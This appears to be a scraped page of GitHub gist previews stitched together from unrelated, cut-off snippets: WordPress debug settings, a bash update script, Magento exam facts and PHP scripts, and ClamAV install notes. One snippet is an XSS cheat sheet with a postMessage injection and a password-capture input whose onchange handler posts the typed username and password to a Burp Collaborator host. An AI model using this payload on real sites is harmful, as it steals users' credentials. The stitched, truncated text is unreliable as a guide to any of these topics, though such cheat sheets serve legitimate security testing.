To enable debugging in WordPress, you will need to add the following to your site's wp-config.php file:
define( 'WP_DEBUG', true );
if ( WP_DEBUG ) {
@error_reporting( E_ALL );
@ini_set( 'log_errors', true );| #!/bin/bash | |
| #Double-check you're ready to rock and roll with an update | |
| read -r -p "Are you sure you want to update all specified directories? [y/N] " response | |
| if [[ "$response" =~ ^([yY][eE][sS]|[yY])$ ]]; then | |
| #Set the array of folders | |
| DIRECTORIES=( 'wordpress-default' 'wordpress-develop' ); |
87 Multiple Choice items (85 scored, 2 unscored)
120 minutes to complete the exam
Based on Magento Community Edition 1.9 and Magento Enterprise Edition 1.14
Magento Certified Developer Plus exam: For sections 11 & 12 combined a score of 7 or higher AND meet the overall passing score of 48 or higher
5% 1-Basics (config, events, cron, translations, theme, locating template/layout file)
6% 2-Request Flow
| <?php | |
| require_once 'abstract.php'; | |
| class Mage_Shell_Customer extends Mage_Shell_Abstract | |
| { | |
| /** | |
| * Run script | |
| * |
| ########################## xss using postmessage api ############### | |
| <iframe src="//vulnerable-website" onload="this.contentWindow.postMessage('alert(1)','*')"> | |
| ################ Exploiting cross-site scripting to capture passwords ############################################ | |
| <input name=username id=username> | |
| <input type=password name=password onchange="if(this.value.length)fetch('https://lolo.burpcollaborator.net',{ | |
| method:'POST', | |
| mode: 'no-cors', | |
| body:username.value+':'+this.value | |
| });"> | |
| #########################hunting phishing site ############################ |
The easiest way to get the ClamAV package is using Homebrew
$ brew install clamav
Before trying to start the clamd daemon, you'll need a copy of the ClamAV databases.
Inside /your/location/to/brew/etc/clamav, you'll see 2 files:
| <?php | |
| require_once 'app/Mage.php'; | |
| Mage::app()->getCache()->getBackend()->clean('old'); | |
| Mage::app()->setCurrentStore(Mage::getModel('core/store')->load(Mage_Core_Model_App::ADMIN_STORE_ID)); | |
| $installer = new Mage_Sales_Model_Mysql4_Setup; | |
| $attribute = array( | |
| 'type' => 'int', | |
| 'label'=> 'Show Breadcrumb Image', | |
| 'input' => 'select', | |
| 'source' => 'eav/entity_attribute_source_boolean', |